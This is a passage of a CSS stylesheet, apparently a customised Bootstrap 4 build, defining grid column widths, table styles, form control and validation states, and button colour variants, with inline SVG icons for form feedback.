flex: 0 0 75%;
max-width: 75%
}
.col-xl-10 {
flex: 0 0 83.33333333%;
max-width: 83.33333333%
}
.col-xl-11 {
flex: 0 0 91.66666667%;
max-width: 91.66666667%
}
.col-xl-12 {
flex: 0 0 100%;
max-width: 100%
}
.order-xl-first {
order: -1
}
.order-xl-last {
order: 13
}
.order-xl-0 {
order: 0
}
.order-xl-1 {
order: 1
}
.order-xl-2 {
order: 2
}
.order-xl-3 {
order: 3
}
.order-xl-4 {
order: 4
}
.order-xl-5 {
order: 5
}
.order-xl-6 {
order: 6
}
.order-xl-7 {
order: 7
}
.order-xl-8 {
order: 8
}
.order-xl-9 {
order: 9
}
.order-xl-10 {
order: 10
}
.order-xl-11 {
order: 11
}
.order-xl-12 {
order: 12
}
.offset-xl-0 {
margin-left: 0
}
.offset-xl-1 {
margin-left: 8.33333333%
}
.offset-xl-2 {
margin-left: 16.66666667%
}
.offset-xl-3 {
margin-left: 25%
}
.offset-xl-4 {
margin-left: 33.33333333%
}
.offset-xl-5 {
margin-left: 41.66666667%
}
.offset-xl-6 {
margin-left: 50%
}
.offset-xl-7 {
margin-left: 58.33333333%
}
.offset-xl-8 {
margin-left: 66.66666667%
}
.offset-xl-9 {
margin-left: 75%
}
.offset-xl-10 {
margin-left: 83.33333333%
}
.offset-xl-11 {
margin-left: 91.66666667%
}
}
.table {
width: 100%;
margin-bottom: 1rem;
color: #212529
}
.table th,
.table td {
padding: .75rem;
vertical-align: top;
border-top: 1px solid #dee2e6
}
.table thead th {
vertical-align: bottom;
border-bottom: 2px solid #dee2e6
}
.table tbody+tbody {
border-top: 2px solid #dee2e6
}
.table-sm th,
.table-sm td {
padding: .3rem
}
.table-bordered,
.table-bordered th,
.table-bordered td {
border: 1px solid #dee2e6
}
.table-bordered thead th,
.table-bordered thead td {
border-bottom-width: 2px
}
.table-borderless th,
.table-borderless td,
.table-borderless thead th,
.table-borderless tbody+tbody {
border: 0
}
.table-striped tbody tr:nth-of-type(odd) {
background-color: #0000000d
}
.table-hover tbody tr:hover {
color: #212529;
background-color: #00000013
}
.table-primary,
.table-primary>th,
.table-primary>td {
background-color: #b8daff
}
.table-primary th,
.table-primary td,
.table-primary thead th,
.table-primary tbody+tbody {
border-color: #7abaff
}
.table-hover .table-primary:hover {
background-color: #9fcdff
}
.table-hover .table-primary:hover>td,
.table-hover .table-primary:hover>th {
background-color: #9fcdff
}
.table-secondary,
.table-secondary>th,
.table-secondary>td {
background-color: #d6d8db
}
.table-secondary th,
.table-secondary td,
.table-secondary thead th,
.table-secondary tbody+tbody {
border-color: #b3b7bb
}
.table-hover .table-secondary:hover {
background-color: #c8cbcf
}
.table-hover .table-secondary:hover>td,
.table-hover .table-secondary:hover>th {
background-color: #c8cbcf
}
.table-success,
.table-success>th,
.table-success>td {
background-color: #d5f0bc
}
.table-success th,
.table-success td,
.table-success thead th,
.table-success tbody+tbody {
border-color: #b2e382
}
.table-hover .table-success:hover {
background-color: #c8eba7
}
.table-hover .table-success:hover>td,
.table-hover .table-success:hover>th {
background-color: #c8eba7
}
.table-info,
.table-info>th,
.table-info>td {
background-color: #bee5eb
}
.table-info th,
.table-info td,
.table-info thead th,
.table-info tbody+tbody {
border-color: #86cfda
}
.table-hover .table-info:hover {
background-color: #abdde5
}
.table-hover .table-info:hover>td,
.table-hover .table-info:hover>th {
background-color: #abdde5
}
.table-warning,
.table-warning>th,
.table-warning>td {
background-color: #ffeeba
}
.table-warning th,
.table-warning td,
.table-warning thead th,
.table-warning tbody+tbody {
border-color: #ffdf7e
}
.table-hover .table-warning:hover {
background-color: #ffe8a1
}
.table-hover .table-warning:hover>td,
.table-hover .table-warning:hover>th {
background-color: #ffe8a1
}
.table-danger,
.table-danger>th,
.table-danger>td {
background-color: #f5c6cb
}
.table-danger th,
.table-danger td,
.table-danger thead th,
.table-danger tbody+tbody {
border-color: #ed969e
}
.table-hover .table-danger:hover {
background-color: #f1b0b7
}
.table-hover .table-danger:hover>td,
.table-hover .table-danger:hover>th {
background-color: #f1b0b7
}
.table-light,
.table-light>th,
.table-light>td {
background-color: #fdfdfe
}
.table-light th,
.table-light td,
.table-light thead th,
.table-light tbody+tbody {
border-color: #fbfcfc
}
.table-hover .table-light:hover {
background-color: #ececf6
}
.table-hover .table-light:hover>td,
.table-hover .table-light:hover>th {
background-color: #ececf6
}
.table-dark,
.table-dark>th,
.table-dark>td {
background-color: #c6c8ca
}
.table-dark th,
.table-dark td,
.table-dark thead th,
.table-dark tbody+tbody {
border-color: #95999c
}
.table-hover .table-dark:hover {
background-color: #b9bbbe
}
.table-hover .table-dark:hover>td,
.table-hover .table-dark:hover>th {
background-color: #b9bbbe
}
.table-active,
.table-active>th,
.table-active>td {
background-color: #00000013
}
.table-hover .table-active:hover {
background-color: #00000013
}
.table-hover .table-active:hover>td,
.table-hover .table-active:hover>th {
background-color: #00000013
}
.table .thead-dark th {
color: #fff;
background-color: #343a40;
border-color: #454d55
}
.table .thead-light th {
color: #495057;
background-color: #e9ecef;
border-color: #dee2e6
}
.table-dark {
color: #fff;
background-color: #343a40
}
.table-dark th,
.table-dark td,
.table-dark thead th {
border-color: #454d55
}
.table-dark.table-bordered {
border: 0
}
.table-dark.table-striped tbody tr:nth-of-type(odd) {
background-color: #ffffff0d
}
.table-dark.table-hover tbody tr:hover {
color: #fff;
background-color: #ffffff13
}
@media (max-width: 575.98px) {
.table-responsive-sm {
display: block;
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch
}
.table-responsive-sm>.table-bordered {
border: 0
}
}
@media (max-width: 767.98px) {
.table-responsive-md {
display: block;
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch
}
.table-responsive-md>.table-bordered {
border: 0
}
}
@media (max-width: 991.98px) {
.table-responsive-lg {
display: block;
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch
}
.table-responsive-lg>.table-bordered {
border: 0
}
}
@media (max-width: 1199.98px) {
.table-responsive-xl {
display: block;
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch
}
.table-responsive-xl>.table-bordered {
border: 0
}
}
.table-responsive {
display: block;
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch
}
.table-responsive>.table-bordered {
border: 0
}
.form-control {
display: block;
width: 100%;
height: calc(1.5em + 2px);
padding: 0 1rem;
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #495057;
background-color: initial;
background-clip: padding-box;
border: 1px solid #ced4da;
border-radius: 8px;
transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out
}
@media (prefers-reduced-motion: reduce) {
.form-control {
transition: none
}
}
.form-control::-ms-expand {
background-color: transparent;
border: 0
}
.form-control:focus {
color: #495057;
background-color: initial;
border-color: #80bdff;
outline: 0;
box-shadow: none
}
.form-control::placeholder {
color: #6c757d;
opacity: 1
}
.form-control:disabled,
.form-control[readonly] {
background-color: #fff;
opacity: 1
}
input[type=date].form-control,
input[type=time].form-control,
input[type=datetime-local].form-control,
input[type=month].form-control {
-webkit-appearance: none;
appearance: none
}
select.form-control:-moz-focusring {
color: transparent;
text-shadow: 0 0 0 #495057
}
select.form-control:focus::-ms-value {
color: #495057;
background-color: initial
}
.form-control-file,
.form-control-range {
display: block;
width: 100%
}
.col-form-label {
padding-top: 1px;
padding-bottom: 1px;
margin-bottom: 0;
font-size: inherit;
line-height: 1.5
}
.col-form-label-lg {
padding-top: 1px;
padding-bottom: 1px;
font-size: 1.25rem;
line-height: 1.5
}
.col-form-label-sm {
padding-top: 1px;
padding-bottom: 1px;
font-size: .875rem;
line-height: 1.5
}
.form-control-plaintext {
display: block;
width: 100%;
padding: 0;
margin-bottom: 0;
font-size: 1rem;
line-height: 1.5;
color: #212529;
background-color: transparent;
border: solid transparent;
border-width: 1px 0
}
.form-control-plaintext.form-control-sm,
.form-control-plaintext.form-control-lg {
padding-right: 0;
padding-left: 0
}
.form-control-sm {
height: calc(1.5em + 2px);
padding: 0 1rem;
font-size: .875rem;
line-height: 1.5;
border-radius: .2rem
}
.form-control-lg {
height: calc(1.5em + 2px);
padding: 0 1rem;
font-size: 1.25rem;
line-height: 1.5;
border-radius: .3rem
}
select.form-control[size],
select.form-control[multiple],
textarea.form-control {
height: auto
}
.form-group {
margin-bottom: 1rem
}
.form-text {
display: block;
margin-top: .25rem
}
.form-row {
display: flex;
flex-wrap: wrap;
margin-right: -5px;
margin-left: -5px
}
.form-row>.col,
.form-row>[class*=col-] {
padding-right: 5px;
padding-left: 5px
}
.form-check {
position: relative;
display: block;
padding-left: 1.25rem
}
.form-check-input {
position: absolute;
margin-top: .3rem;
margin-left: -1.25rem
}
.form-check-input[disabled]~.form-check-label,
.form-check-input:disabled~.form-check-label {
color: #6c757d
}
.form-check-label {
margin-bottom: 0
}
.form-check-inline {
display: inline-flex;
align-items: center;
padding-left: 0;
margin-right: .75rem
}
.form-check-inline .form-check-input {
position: static;
margin-top: 0;
margin-right: .3125rem;
margin-left: 0
}
.valid-feedback {
display: none;
width: 100%;
margin-top: .25rem;
font-size: .75rem;
color: #6ac90f
}
.valid-tooltip {
position: absolute;
top: 100%;
left: 0;
z-index: 5;
display: none;
max-width: 100%;
padding: .25rem .5rem;
margin-top: .1rem;
font-size: .875rem;
line-height: 1.5;
color: #212529;
background-color: #6ac90fe6;
border-radius: 8px
}
.form-row>.col>.valid-tooltip,
.form-row>[class*=col-]>.valid-tooltip {
left: 5px
}
.was-validated :valid~.valid-feedback,
.was-validated :valid~.valid-tooltip,
.is-valid~.valid-feedback,
.is-valid~.valid-tooltip {
display: block
}
.was-validated .form-control:valid,
.form-control.is-valid {
border-color: #6ac90f;
padding-right: 1.5em !important;
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%236ac90f' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");
background-repeat: no-repeat;
background-position: right .375em center;
background-size: .75em .75em
}
.was-validated .form-control:valid:focus,
.form-control.is-valid:focus {
border-color: #6ac90f;
box-shadow: 0 0 0 .2rem #6ac90f40
}
.was-validated select.form-control:valid,
select.form-control.is-valid {
padding-right: 4rem !important;
background-position: right 2rem center
}
.was-validated textarea.form-control:valid,
textarea.form-control.is-valid {
padding-right: 1.5em;
background-position: top .375em right .375em
}
.was-validated .custom-select:valid,
.custom-select.is-valid {
border-color: #6ac90f;
padding-right: calc(.75em + 2rem) !important;
background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right 1rem center/8px 10px no-repeat, initial url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%236ac90f' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") center right 2rem/.75em .75em no-repeat
}
.was-validated .custom-select:valid:focus,
.custom-select.is-valid:focus {
border-color: #6ac90f;
box-shadow: 0 0 0 .2rem #6ac90f40
}
.was-validated .form-check-input:valid~.form-check-label,
.form-check-input.is-valid~.form-check-label {
color: #6ac90f
}
.was-validated .form-check-input:valid~.valid-feedback,
.was-validated .form-check-input:valid~.valid-tooltip,
.form-check-input.is-valid~.valid-feedback,
.form-check-input.is-valid~.valid-tooltip {
display: block
}
.was-validated .custom-control-input:valid~.custom-control-label,
.custom-control-input.is-valid~.custom-control-label {
color: #6ac90f
}
.was-validated .custom-control-input:valid~.custom-control-label:before,
.custom-control-input.is-valid~.custom-control-label:before {
border-color: #6ac90f
}
.was-validated .custom-control-input:valid:checked~.custom-control-label:before,
.custom-control-input.is-valid:checked~.custom-control-label:before {
border-color: #83ee1d;
background-color: #83ee1d
}
.was-validated .custom-control-input:valid:focus~.custom-control-label:before,
.custom-control-input.is-valid:focus~.custom-control-label:before {
box-shadow: 0 0 0 .2rem #6ac90f40
}
.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label:before,
.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label:before {
border-color: #6ac90f
}
.was-validated .custom-file-input:valid~.custom-file-label,
.custom-file-input.is-valid~.custom-file-label {
border-color: #6ac90f
}
.was-validated .custom-file-input:valid:focus~.custom-file-label,
.custom-file-input.is-valid:focus~.custom-file-label {
border-color: #6ac90f;
box-shadow: 0 0 0 .2rem #6ac90f40
}
.invalid-feedback {
display: none;
width: 100%;
margin-top: .25rem;
font-size: .75rem;
color: #dc3545
}
.invalid-tooltip {
position: absolute;
top: 100%;
left: 0;
z-index: 5;
display: none;
max-width: 100%;
padding: .25rem .5rem;
margin-top: .1rem;
font-size: .875rem;
line-height: 1.5;
color: #fff;
background-color: #dc3545e6;
border-radius: 8px
}
.form-row>.col>.invalid-tooltip,
.form-row>[class*=col-]>.invalid-tooltip {
left: 5px
}
.was-validated :invalid~.invalid-feedback,
.was-validated :invalid~.invalid-tooltip,
.is-invalid~.invalid-feedback,
.is-invalid~.invalid-tooltip {
display: block
}
.was-validated .form-control:invalid,
.form-control.is-invalid {
border-color: #dc3545;
padding-right: 1.5em !important;
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");
background-repeat: no-repeat;
background-position: right .375em center;
background-size: .75em .75em
}
.was-validated .form-control:invalid:focus,
.form-control.is-invalid:focus {
border-color: #dc3545;
box-shadow: 0 0 0 .2rem #dc354540
}
.was-validated select.form-control:invalid,
select.form-control.is-invalid {
padding-right: 4rem !important;
background-position: right 2rem center
}
.was-validated textarea.form-control:invalid,
textarea.form-control.is-invalid {
padding-right: 1.5em;
background-position: top .375em right .375em
}
.was-validated .custom-select:invalid,
.custom-select.is-invalid {
border-color: #dc3545;
padding-right: calc(.75em + 2rem) !important;
background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right 1rem center/8px 10px no-repeat, initial url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23dc3545' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e") center right 2rem/.75em .75em no-repeat
}
.was-validated .custom-select:invalid:focus,
.custom-select.is-invalid:focus {
border-color: #dc3545;
box-shadow: 0 0 0 .2rem #dc354540
}
.was-validated .form-check-input:invalid~.form-check-label,
.form-check-input.is-invalid~.form-check-label {
color: #dc3545
}
.was-validated .form-check-input:invalid~.invalid-feedback,
.was-validated .form-check-input:invalid~.invalid-tooltip,
.form-check-input.is-invalid~.invalid-feedback,
.form-check-input.is-invalid~.invalid-tooltip {
display: block
}
.was-validated .custom-control-input:invalid~.custom-control-label,
.custom-control-input.is-invalid~.custom-control-label {
color: #dc3545
}
.was-validated .custom-control-input:invalid~.custom-control-label:before,
.custom-control-input.is-invalid~.custom-control-label:before {
border-color: #dc3545
}
.was-validated .custom-control-input:invalid:checked~.custom-control-label:before,
.custom-control-input.is-invalid:checked~.custom-control-label:before {
border-color: #e4606d;
background-color: #e4606d
}
.was-validated .custom-control-input:invalid:focus~.custom-control-label:before,
.custom-control-input.is-invalid:focus~.custom-control-label:before {
box-shadow: 0 0 0 .2rem #dc354540
}
.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label:before,
.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label:before {
border-color: #dc3545
}
.was-validated .custom-file-input:invalid~.custom-file-label,
.custom-file-input.is-invalid~.custom-file-label {
border-color: #dc3545
}
.was-validated .custom-file-input:invalid:focus~.custom-file-label,
.custom-file-input.is-invalid:focus~.custom-file-label {
border-color: #dc3545;
box-shadow: 0 0 0 .2rem #dc354540
}
.form-inline {
display: flex;
flex-flow: row wrap;
align-items: center
}
.form-inline .form-check {
width: 100%
}
@media (min-width: 576px) {
.form-inline label {
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 0
}
.form-inline .form-group {
display: flex;
flex: 0 0 auto;
flex-flow: row wrap;
align-items: center;
margin-bottom: 0
}
.form-inline .form-control {
display: inline-block;
width: auto;
vertical-align: middle
}
.form-inline .form-control-plaintext {
display: inline-block
}
.form-inline .input-group,
.form-inline .custom-select {
width: auto
}
.form-inline .form-check {
display: flex;
align-items: center;
justify-content: center;
width: auto;
padding-left: 0
}
.form-inline .form-check-input {
position: relative;
flex-shrink: 0;
margin-top: 0;
margin-right: .25rem;
margin-left: 0
}
.form-inline .custom-control {
align-items: center;
justify-content: center
}
.form-inline .custom-control-label {
margin-bottom: 0
}
}
.btn {
display: inline-block;
font-family: var(--bcp-font-family-primary-demi, "Flexo-Demi"), helvetica, arial, sans-serif;
font-weight: 400;
color: #212529;
text-align: center;
vertical-align: middle;
-webkit-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
padding: 0 1rem;
font-size: .875rem;
line-height: 1;
border-radius: 16px;
transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out
}
@media (prefers-reduced-motion: reduce) {
.btn {
transition: none
}
}
.btn:hover {
color: #212529;
text-decoration: none
}
.btn:focus,
.btn.focus {
outline: 0;
box-shadow: none
}
.btn.disabled,
.btn:disabled {
opacity: .65
}
.btn:not(:disabled):not(.disabled) {
cursor: pointer
}
a.btn.disabled,
fieldset:disabled a.btn {
pointer-events: none
}
.btn-primary {
color: #fff;
background-color: #007bff;
border-color: #007bff
}
.btn-primary:hover {
color: #fff;
background-color: #0069d9;
border-color: #0062cc
}
.btn-primary:focus,
.btn-primary.focus {
color: #fff;
background-color: #0069d9;
border-color: #0062cc;
box-shadow: 0 0 0 .2rem #268fff80
}
.btn-primary.disabled,
.btn-primary:disabled {
color: #fff;
background-color: #007bff;
border-color: #007bff
}
.btn-primary:not(:disabled):not(.disabled):active,
.btn-primary:not(:disabled):not(.disabled).active,
.show>.btn-primary.dropdown-toggle {
color: #fff;
background-color: #0062cc;
border-color: #005cbf
}
.btn-primary:not(:disabled):not(.disabled):active:focus,
.btn-primary:not(:disabled):not(.disabled).active:focus,
.show>.btn-primary.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #268fff80
}
.btn-secondary {
color: #fff;
background-color: #6c757d;
border-color: #6c757d
}
.btn-secondary:hover {
color: #fff;
background-color: #5a6268;
border-color: #545b62
}
.btn-secondary:focus,
.btn-secondary.focus {
color: #fff;
background-color: #5a6268;
border-color: #545b62;
box-shadow: 0 0 0 .2rem #828a9180
}
.btn-secondary.disabled,
.btn-secondary:disabled {
color: #fff;
background-color: #6c757d;
border-color: #6c757d
}
.btn-secondary:not(:disabled):not(.disabled):active,
.btn-secondary:not(:disabled):not(.disabled).active,
.show>.btn-secondary.dropdown-toggle {
color: #fff;
background-color: #545b62;
border-color: #4e555b
}
.btn-secondary:not(:disabled):not(.disabled):active:focus,
.btn-secondary:not(:disabled):not(.disabled).active:focus,
.show>.btn-secondary.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #828a9180
}
.btn-success {
color: #212529;
background-color: #6ac90f;
border-color: #6ac90f
}
.btn-success:hover {
color: #fff;
background-color: #57a50c;
border-color: #519a0b
}
.btn-success:focus,
.btn-success.focus {
color: #fff;
background-color: #57a50c;
border-color: #519a0b;
box-shadow: 0 0 0 .2rem #5fb01380
}
.btn-success.disabled,
.btn-success:disabled {
color: #212529;
background-color: #6ac90f;
border-color: #6ac90f
}
.btn-success:not(:disabled):not(.disabled):active,
.btn-success:not(:disabled):not(.disabled).active,
.show>.btn-success.dropdown-toggle {
color: #fff;
background-color: #519a0b;
border-color: #4b8e0b
}
.btn-success:not(:disabled):not(.disabled):active:focus,
.btn-success:not(:disabled):not(.disabled).active:focus,
.show>.btn-success.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #5fb01380
}
.btn-info {
color: #fff;
background-color: #17a2b8;
border-color: #17a2b8
}
.btn-info:hover {
color: #fff;
background-color: #138496;
border-color: #117a8b
}
.btn-info:focus,
.btn-info.focus {
color: #fff;
background-color: #138496;
border-color: #117a8b;
box-shadow: 0 0 0 .2rem #3ab0c380
}
.btn-info.disabled,
.btn-info:disabled {
color: #fff;
background-color: #17a2b8;
border-color: #17a2b8
}
.btn-info:not(:disabled):not(.disabled):active,
.btn-info:not(:disabled):not(.disabled).active,
.show>.btn-info.dropdown-toggle {
color: #fff;
background-color: #117a8b;
border-color: #10707f
}
.btn-info:not(:disabled):not(.disabled):active:focus,
.btn-info:not(:disabled):not(.disabled).active:focus,
.show>.btn-info.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #3ab0c380
}
.btn-warning {
color: #212529;
background-color: #ffc107;
border-color: #ffc107
}
.btn-warning:hover {
color: #212529;
background-color: #e0a800;
border-color: #d39e00
}
.btn-warning:focus,
.btn-warning.focus {
color: #212529;
background-color: #e0a800;
border-color: #d39e00;
box-shadow: 0 0 0 .2rem #deaa0c80
}
.btn-warning.disabled,
.btn-warning:disabled {
color: #212529;
background-color: #ffc107;
border-color: #ffc107
}
.btn-warning:not(:disabled):not(.disabled):active,
.btn-warning:not(:disabled):not(.disabled).active,
.show>.btn-warning.dropdown-toggle {
color: #212529;
background-color: #d39e00;
border-color: #c69500
}
.btn-warning:not(:disabled):not(.disabled):active:focus,
.btn-warning:not(:disabled):not(.disabled).active:focus,
.show>.btn-warning.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #deaa0c80
}
.btn-danger {
color: #fff;
background-color: #dc3545;
border-color: #dc3545
}
.btn-danger:hover {
color: #fff;
background-color: #c82333;
border-color: #bd2130
}
.btn-danger:focus,
.btn-danger.focus {
color: #fff;
background-color: #c82333;
border-color: #bd2130;
box-shadow: 0 0 0 .2rem #e1536180
}
.btn-danger.disabled,
.btn-danger:disabled {
color: #fff;
background-color: #dc3545;
border-color: #dc3545
}
.btn-danger:not(:disabled):not(.disabled):active,
.btn-danger:not(:disabled):not(.disabled).active,
.show>.btn-danger.dropdown-toggle {
color: #fff;
background-color: #bd2130;
border-color: #b21f2d
}
.btn-danger:not(:disabled):not(.disabled):active:focus,
.btn-danger:not(:disabled):not(.disabled).active:focus,
.show>.btn-danger.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #e1536180
}
.btn-light {
color: #212529;
background-color: #f8f9fa;
border-color: #f8f9fa
}
.btn-light:hover {
color: #212529;
background-color: #e2e6ea;
border-color: #dae0e5
}
.btn-light:focus,
.btn-light.focus {
color: #212529;
background-color: #e2e6ea;
border-color: #dae0e5;
box-shadow: 0 0 0 .2rem #d8d9db80
}
.btn-light.disabled,
.btn-light:disabled {
color: #212529;
background-color: #f8f9fa;
border-color: #f8f9fa
}
.btn-light:not(:disabled):not(.disabled):active,
.btn-light:not(:disabled):not(.disabled).active,
.show>.btn-light.dropdown-toggle {
color: #212529;
background-color: #dae0e5;
border-color: #d3d9df
}
.btn-light:not(:disabled):not(.disabled):active:focus,
.btn-light:not(:disabled):not(.disabled).active:focus,
.show>.btn-light.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #d8d9db80
}
.btn-dark {
color: #fff;
background-color: #343a40;
border-color: #343a40
}
.btn-dark:hover {
color: #fff;
background-color: #23272b;
border-color: #1d2124
}
.btn-dark:focus,
.btn-dark.focus {
color: #fff;
background-color: #23272b;
border-color: #1d2124;
box-shadow: 0 0 0 .2rem #52585d80
}
.btn-dark.disabled,
.btn-dark:disabled {
color: #fff;
background-color: #343a40;
border-color: #343a40
}
.btn-dark:not(:disabled):not(.disabled):active,
.btn-dark:not(:disabled):not(.disabled).active,
.show>.btn-dark.dropdown-toggle {
color: #fff;
background-color: #1d2124;
border-color: #171a1d
}
.btn-dark:not(:disabled):not(.disabled):active:focus,
.btn-dark:not(:disabled):not(.disabled).active:focus,
.show>.btn-dark.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #52585d80
}
.btn-outline-primary {
color: #007bff;
border-color: #007bff
}
.btn-outline-primary:hover {
color: #fff;
background-color: #007bff;
border-color: #007bff
}
.btn-outline-primary:focus,
.btn-outline-primary.focus {
box-shadow: 0 0 0 .2rem #007bff80
}
.btn-outline-primary.disabled,
.btn-outline-primary:disabled {
color: #007bff;
background-color: transparent
}
.btn-outline-primary:not(:disabled):not(.disabled):active,
.btn-outline-primary:not(:disabled):not(.disabled).active,
.show>.btn-outline-primary.dropdown-toggle {
color: #fff;
background-color: #007bff;
border-color: #007bff
}
.btn-outline-primary:not(:disabled):not(.disabled):active:focus,
.btn-outline-primary:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-primary.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #007bff80
}
.btn-outline-secondary {
color: #6c757d;
border-color: #6c757d
}
.btn-outline-secondary:hover {
color: #fff;
background-color: #6c757d;
border-color: #6c757d
}
.btn-outline-secondary:focus,
.btn-outline-secondary.focus {
box-shadow: 0 0 0 .2rem #6c757d80
}
.btn-outline-secondary.disabled,
.btn-outline-secondary:disabled {
color: #6c757d;
background-color: transparent
}
.btn-outline-secondary:not(:disabled):not(.disabled):active,
.btn-outline-secondary:not(:disabled):not(.disabled).active,
.show>.btn-outline-secondary.dropdown-toggle {
color: #fff;
background-color: #6c757d;
border-color: #6c757d
}
.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,
.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-secondary.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #6c757d80
}
.btn-outline-success {
color: #6ac90f;
border-color: #6ac90f
}
.btn-outline-success:hover {
color: #212529;
background-color: #6ac90f;
border-color: #6ac90f
}
.btn-outline-success:focus,
.btn-outline-success.focus {
box-shadow: 0 0 0 .2rem #6ac90f80
}
.btn-outline-success.disabled,
.btn-outline-success:disabled {
color: #6ac90f;
background-color: transparent
}
.btn-outline-success:not(:disabled):not(.disabled):active,
.btn-outline-success:not(:disabled):not(.disabled).active,
.show>.btn-outline-success.dropdown-toggle {
color: #212529;
background-color: #6ac90f;
border-color: #6ac90f
}
.btn-outline-success:not(:disabled):not(.disabled):active:focus,
.btn-outline-success:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-success.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #6ac90f80
}
.btn-outline-info {
color: #17a2b8;
border-color: #17a2b8
}
.btn-outline-info:hover {
color: #fff;
background-color: #17a2b8;
border-color: #17a2b8
}
.btn-outline-info:focus,
.btn-outline-info.focus {
box-shadow: 0 0 0 .2rem #17a2b880
}
.btn-outline-info.disabled,
.btn-outline-info:disabled {
color: #17a2b8;
background-color: transparent
}
.btn-outline-info:not(:disabled):not(.disabled):active,
.btn-outline-info:not(:disabled):not(.disabled).active,
.show>.btn-outline-info.dropdown-toggle {
color: #fff;
background-color: #17a2b8;
border-color: #17a2b8
}
.btn-outline-info:not(:disabled):not(.disabled):active:focus,
.btn-outline-info:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-info.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #17a2b880
}
.btn-outline-warning {
color: #ffc107;
border-color: #ffc107
}
.btn-outline-warning:hover {
color: #212529;
background-color: #ffc107;
border-color: #ffc107
}
.btn-outline-warning:focus,
.btn-outline-warning.focus {
box-shadow: 0 0 0 .2rem #ffc10780
}
.btn-outline-warning.disabled,
.btn-outline-warning:disabled {
color: #ffc107;
background-color: transparent
}
.btn-outline-warning:not(:disabled):not(.disabled):active,
.btn-outline-warning:not(:disabled):not(.disabled).active,
.show>.btn-outline-warning.dropdown-toggle {
color: #212529;
background-color: #ffc107;
border-color: #ffc107
}
.btn-outline-warning:not(:disabled):not(.disabled):active:focus,
.btn-outline-warning:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-warning.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #ffc10780
}
.btn-outline-danger {
color: #dc3545;
border-color: #dc3545
}
.btn-outline-danger:hover {
color: #fff;
background-color: #dc3545;
border-color: #dc3545
}
.btn-outline-danger:focus,
.btn-outline-danger.focus {
box-shadow: 0 0 0 .2rem #dc354580
}
.btn-outline-danger.disabled,
.btn-outline-danger:disabled {
color: #dc3545;
background-color: transparent
}
.btn-outline-danger:not(:disabled):not(.disabled):active,
.btn-outline-danger:not(:disabled):not(.disabled).active,
.show>.btn-outline-danger.dropdown-toggle {
color: #fff;
background-color: #dc3545;
border-color: #dc3545
}
.btn-outline-danger:not(:disabled):not(.disabled):active:focus,
.btn-outline-danger:not(:disabled):not(.disabled).active:focus,
.show>.btn-outline-danger.dropdown-toggle:focus {
box-shadow: 0 0 0 .2rem #dc354580
}
.btn-outline-light {
color: #f8f9fa;
border-color: #f8f9fa
}
.btn-outline-light:hover {
color: #212529;
background-color: #f8f9fa;
border-color: #f8f9fa
}
.btn-outline-light:focus,
